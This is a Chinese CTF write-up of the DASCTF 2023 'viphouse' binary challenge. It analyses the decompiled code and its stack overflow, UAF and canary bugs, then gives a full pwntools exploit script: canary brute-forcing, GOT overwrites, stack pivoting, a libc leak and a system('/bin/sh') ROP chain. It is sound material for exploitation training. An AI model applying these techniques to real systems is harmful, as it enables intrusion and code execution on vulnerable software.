DASCTF 2023 & 0X401七月暑期挑战赛——— 解析viphouse

发布时间 2023-07-30 23:10:57作者: Sta8r9

DASCTF 2023 & 0X401七月暑期挑战赛——— 解析viphouse

保护策略

image-20230730192301956

静态分析

main

  主函数在while循环提供了一个菜单。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  char nptr[10]; // [rsp+Eh] [rbp-12h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);				
  set_randnum();							
  print_string(a1, a2);						
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%9s", nptr);
    switch ( atoi(nptr) )
    {
      case 1:
        if ( login_flag )
        {
          puts("You are already logged in.");
        }
        else
        {
          login();
          if ( login_flag )
            puts("Logged in successfully.");
          else
            puts("Login failed. Please try again.");
        }
        continue;
      case 2:
        if ( !login_flag )
          goto LABEL_16;
        puts("Executing fmt function...");
        break;
      case 3:
        if ( !login_flag )
          goto LABEL_16;
        puts("Executing uaf function...");
        uaf_function();
        break;
      case 4:
        if ( login_flag )
        {
          puts("Executing canary function...");
          canary_function();
        }
        else
        {
LABEL_16:
          puts("Please log in first.");
        }
        break;
      case 5:
        if ( login_flag )
          logout();
        else
          puts("You are not logged in.");
        break;
      default:
        puts("Invalid option. Please try again.");
        break;
    }
  }
}

set_randnum

  这个函数的主要作用是打开生成随机数的文件,并向变量src中读入8字节的随机数。

void set_randnum()
{
  unsigned int v0; // eax
  int fd; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  v0 = time(0LL);
  srand(v0);
  dword_404110 = rand() % 256;
  fd = open("/dev/random", 0);
  if ( fd >= 0 )
  {
    read(fd, src, 8uLL);
    close(fd);
  }
  else
  {
    perror("Failed to open /dev/random");
  }
}

  这个函数打印一些欢迎语。

int sub_401602()
{
  puts("__     _____ ____       _   _  ___  _   _ ____  _____ ");
  puts("\\ \\   / /_ _|  _ \\     | | | |/ _ \\| | | / ___|| ____|");
  puts(" \\ \\ / / | || |_) |____| |_| | | | | | | \\___ \\|  _|  ");
  puts("  \\ V /  | ||  __/_____|  _  | |_| | |_| |___) | |___ ");
  puts("   \\_/  |___|_|        |_| |_|\\___/ \\___/|____/|_____|");
  putchar(10);
  puts("Welcome to vip-house!");
  return puts("HAVE FUN!!!!");
}

  这个函数将程序提供的一些选项打印出来。

int sub_401680()
{
  puts("1. login in");
  puts("2. fmt");
  puts("3. uaf");
  puts("4. canary");
  puts("5. login out");
  return printf("Choose an option: ");
}

login in

  这个函数提供了一个登录功能,允许用户输入用户名和密码,在输入密码的地方存在一个栈溢出,可以溢出0x20字节,登录成功后会设置一个标志位为1,在此重命名为login_flag,如果是以admin登录的,会再设置一个标志位为1,不妨重命名为admin_flag。在进入所有菜单里的函数前会通过login_flag检查登陆状态,未登录状态下必须先登录,不可重复登录,登陆后可使用其他函数。

unsigned __int64 login()
{
  char s[100]; // [rsp+0h] [rbp-2A0h] BYREF
  int v2; // [rsp+64h] [rbp-23Ch] BYREF
  char v3[64]; // [rsp+258h] [rbp-48h] BYREF
  unsigned __int64 v4; // [rsp+298h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(&v2, 0, 0x1F4uLL);
  memset(v3, 0, sizeof(v3));
  memset(s, 0, sizeof(s));
  printf("Please enter your username: ");
  sub_4016EA(s, 99LL);
  printf("Please enter your password: ");
  sub_4016EA(v3, 104LL);
  if ( !strcmp(s, "admin") && !strcmp(v3, "root") )
  {
    puts("Welcome, ADMIN~");
    dword_404118 = 1;
  }
  login_flag = 1;
  return v4 - __readfsqword(0x28u);
}

uaf

  这个函数提供了一个简单的堆块管理程序,仅有addfree功能。add函数申请一个固定大小的堆块,并允许用户向其中写入8字节数据。free只是单纯的释放堆块,没有进行指针置空操作存在uaf

unsigned __int64 sub_401882()
{
  int v1; // [rsp+0h] [rbp-10h] BYREF
  unsigned int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v2 = 0;
  while ( 1 )
  {
    puts("1. Add Note");
    puts("2. Delete Note");
    puts("3. Exit");
    printf("Choice: ");
    __isoc99_scanf("%d", &v1);
    getchar();
    if ( v1 == 3 )
      break;
    if ( v1 > 3 )
      goto LABEL_10;
    if ( v1 == 1 )
    {
      v2 = add(v2);
    }
    else if ( v1 == 2 )
    {
      v2 = free_0(v2);
    }
    else
    {
LABEL_10:
      puts("Invalid choice.");
    }
  }
  puts("Goodbye!");
  return v3 - __readfsqword(0x28u);
}

canary

  这个函数允许用户输入最多十六字节的数据,并拿它和最开始的随机数进行比较,如果相同则会进入存在格式化字符串漏洞的函数泄露出canary

unsigned __int64 canary_function()
{
  char s[8]; // [rsp+0h] [rbp-30h] BYREF
  char v2[16]; // [rsp+8h] [rbp-28h] BYREF
  int i; // [rsp+18h] [rbp-18h]
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(s, 0, sizeof(s));
  memset(v2, 0, sizeof(v2));
  strcpy(s, src);
  puts("Please input the number you guess: ");
  sub_4016EA(v2, 16LL);
  for ( i = 0; i <= 7; ++i )
  {
    if ( v2[i] != s[i] )
    {
      printf("Wrong input: %s\n", v2);
      puts("You can't do anything!");
      return v4 - __readfsqword(0x28u);
    }
  }
  if ( dword_404118 )
  {
    printf("I'll give you a gift!");
    sub_4015A7();
  }
  return v4 - __readfsqword(0x28u);
}

login out

  这个函数进行标志位置0操作,这样就可以再次进入存在栈溢出的login in函数了。

int logout()
{
  login_flag = 0;
  return puts("Logged out successfully.");
}

利用思路

  这道题出得好有水平(应该很费脑子),以至于我看着write up复现都很费劲。??

  这道题首先肯定是要想办法泄露出canary的,由于程序没给后门函数,自然的能想到打ret2libc,(关键是我不知道咋泄露libc)。

泄露canary

这个程序让我们猜测的随机数最初是从/dev/random读入到变量src的,

image-20230730203031588

最关键的是还使用了strcpy函数把src复制到了变量s中,拿用户输入的数字和变量s进行比较。

image-20230730203128340

  strcpy函数是存在\0截断的,而随机数嘛,不论是几都是有可能的,它的单字节是0的概率有1/256。如果src中的随机数的低字节是0的话,在通过strcpy进行复制时就会发生\0截断,此时变量s的值就是\0\0\0\0\0\0\0\0,所以泄露canary的方法就是爆破,即多次运行程序来猜测随机数为0

泄露libc

  正常情况下我们可以通过rop调用一个printf,将其参数设置为got表地址来泄露libc,但是很不幸,这个程序中只存在一个pop rbp的指令,此路不通。

image-20230730205150188

  好了,接下来要看着大佬的write up来分析了。??既然没有pop rdi指令,那就看看有什么,能利用什么。现在已经可以控制执行流了,大佬想到的方法是利用程序中存在printf的函数的部分指令,去更改printf函数得到的参数地址为got表地址(因为printf的参数在程序中是通过rbp加偏移得到的)。当然了,不是通过修改偏移去达到目的,因为偏移是固定的,而是通过栈迁移,合理布局栈中数据来控制printf函数的参数为got表地址。

image-20230730210420967

解析exp

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from tools import *
context(arch='amd64', os='linux')
#爆破随机数获取canary
while(True):
    sh = process('./viphouse')
    sh.sendlineafter(b': ', b'1')
    sh.sendlineafter(b': ', b'admin\0')
    sh.sendlineafter(b': ', b'root\0')
    sh.sendlineafter(b': ', b'4')
    sh.sendafter(b': \n', b'\x00' * 0x10)
    result = sh.recvuntil(b'\n')
    if b'give you a gif' in result:
        break
    else:
        sh.close()
debug(sh,0x00000000401982,0x00000000004018AE,0x00000000004014E8)
context.log_level='debug'
canary = int(result.split(b'!')[1], 16)
log_addr("canary")

#劫持执行流至login +15的位置
print_info("即将第1次login")
sh.sendlineafter(b': ', b'5')
sh.sendlineafter(b': ', b'1')
sh.sendlineafter(b': ', b'admin\0')
sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([
    0x404128+0x2a0,         #rbp,
    0x401991,       #retaddr        login+15
]))
#p64(0x0000000000404048))       #printf_got  
print_info("即将第2次login,第一次返回地址被覆盖为add的后半部分,写入note的ptr是通过偏移在栈中寻找的,这里直接输入到了bss段上放的printf@got,\n第二个返回地址被覆盖为login继续控制执行流")

#在输入usr的地方写入printf_got
sh.sendlineafter(b': ', p64(0x0000000000404048))       #printf_got       

#在输入passwd的地方劫持执行流为add note,利用向堆块写入8字节的机会去篡改print_got为puts_plt
#控制执行完add note函数后的返回地址为login+15
sh.sendafter(b': ', cyclic(64) + p64(canary) + flat([
    0x4043d8,       #rbp
    0x4017F2,       #retaddr     add note  

    0x404f00,       #rbp
    0x401991,       #retaddr login+15
])[:99])
#add note
print_info("即将第1次add")

#向printf_got写入puts@plt
sh.send(p64(0x4011B0))   #puts@plt

#继续控制返回地址为login+15
print_info("即将第3次login")
sh.sendlineafter(b': ', b'admin\0')
sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([
    0x404128+0x2a0,   #rbp
    0x401991,          #retaddr  login+15
]))

#在输入usr的地方输入__stack_chk_fail@got_got
print_info("即将第4次login")
sh.sendlineafter(b': ', p64(0x404038))      #__stack_chk_fail@got_got
#在输入passwd的地方继续控制返回地址为add note,控制add note的返回地址为login+15
sh.sendafter(b': ', cyclic(64) + p64(canary) + flat([
    0x4043d8,           #rbp
    0x4017F2,              #retaddr

    0x404f00,           #rbp
    0x401991,          #retaddr login+15
])[:99])

      
print_info("即将第2次add")
#向__stack_chk_fail@got_got输入pop rbp ret的地址
sh.send(p64(0x000000000040139d))

#在输入usr的地方布置ropchain,泄露libc
print_info("即将第5次login,布置ROPchain")
sh.sendlineafter(b': ', flat([
    0x404060+0xe,           #srand@got
    0x4015D0,				#存在格式化字符串漏洞函数的部分指令
    0x401982,                  #login
]))
#在输入passwd的地方继续控制返回地址为add note,控制add note的返回地址为login+15
sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([
    0x404c60,                   #rbp			ropchain的地址
    0x000000000040147b,         #retaddr==leave ret 栈迁移
]))


sh.recvuntil(b'\n')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x114980       #read_got
log_addr("libc_addr")



sh.sendlineafter(b': ', flat([
    0,
    0x000000000040101a,                 #ret
    libc_addr + 0x000000000002a3e5,     #pop_rdi_ret
    libc_addr + 0x1d8698,   #/bin/sh   
    libc_addr + 0x50d60,  #system
]))
sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([
    0x4049d0,       #ropchain
    0x000000000040147b,        #leave ret
])[:99])

sh.sendline(b'cat flag')
sh.sendline(b'cat flag.txt')
sh.sendline(b'cat /flag')
sh.sendline(b'cat /flag.txt')

sh.interactive()

exp中的利用步骤

  1. printf函数的got表为puts函数的plt

  2. __stack_chk_failgot表为pop rbp ret

  3. 布置rop链(跳转至可以控制printf的参数为got表的指令部分,泄露出libc),栈迁移至rop链去执行。

    image-20230730220931691

  4. 布置rop链(调用system(/bin/sh)),栈迁移至rop链去执行

    image-20230730222120495

几个疑问

1、为什么要改printf函数的got表为puts函数的plt表?

  为了通过布局栈中数据去修改printf函数的参数为got的地址,必须将栈迁移至数据段0x404128+0x2a0,而在正常执行printf函数时,其内部会调用__vfprintf_internal,这个函数会开辟0x538的栈帧,这使得rsp从数据段0x404300被抬高(向低地址增长)到了0x403d98,并且之后会向栈里写入数据,然而0x403d98是不可写的,这会使得程序崩溃。

image-20230730214010931

2、为什么要改__stack_chk_failgot表为pop rbp ret

  在控制printf的参数为got表去泄露libc时,程序指令中rdi是取自rbp-0xe的位置,这个地方一定要被布局为一个got表地址,这意味着这次无法在rbp-0x8的位置布置canary了,然而这部分指令执行完后程序仍会去检查canary是否被修改,这时就会触发__stack_chk_fail,所以修改__stack_chk_failgot表是十分必要的。把其篡改为pop rbp ret也不会对执行流产生很大的影响,最坏的情况无非就是垫一个垃圾数据。

image-20230730221200190

image-20230730221852764

总结与反思

  •   我习惯性得认为在构造rop链时取一个函数的部分指令来用会导致程序栈帧数据不匹配而是程序崩溃,所以在解题时也很少去这样想,但是这个题确实颠覆了我的认知,需要好好反思。
  •   在分析一道一眼看不出思路的题时我总觉得很有一种闭塞感,我经常是去想一些之前见过的手法,没有头绪就大概路会归结为这道题应该很难或者考察了我的知识盲区,我一定做不出来。比如这道题泄露libc,我回去想构造ropchain=>pop rdi ret ; read@got; printf@got,如果没有pop rdi ret无法用一些之前的老办法,我大概率会放弃该题,或者很消极地看题,我认为我下次应该尝试这样的思考方式,“没有办法直接用指令片段去控制printf地参数泄露libc,那么能不能研究一下程序中现有地printf函数地参数是怎么来的,有没有什么可利用的点。”总之,就是多想想对于某道题我有什么,有什么已知的可利用的点,有什么未知的可利用的点,应该怎么去挖掘这样的点,而不是大部分时间去想我没有什么,不可利用什么。
  •   泄露canary的又一种可爆破的情景。

参考链接

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup - 星盟安全团队 (xmcve.com)

题目附件

https://pan.baidu.com/s/1E5l2N3qiy_UA9-gZQf3IJw?pwd=1234